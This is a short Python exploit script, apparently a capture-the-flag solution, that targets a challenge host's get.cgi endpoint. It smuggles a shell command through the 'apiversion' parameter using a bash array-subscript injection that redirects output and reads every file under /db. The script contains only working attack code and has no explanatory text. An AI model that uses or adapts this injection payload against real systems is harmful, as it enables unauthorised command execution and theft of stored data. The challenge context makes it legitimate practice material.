import requests URL = "https://jgojibkxquhifqyvar6c5c6j6n-8000-innovation-at-work.challenge.cscg.live" def fetch_data(s, apiversion: str, name: str, password: str): url = f"{URL}/get.cgi?apiversion={apiversion}&name={name}&password={password}" r = s.get(url) print(f"{r.status_code}: {r.text}") with requests.session() as s: payload = "a[$(exec%20>/proc/$$/fd/1;echo;cat%20/db/*)]" fetch_data(s, payload, 'dummy', 'dummy')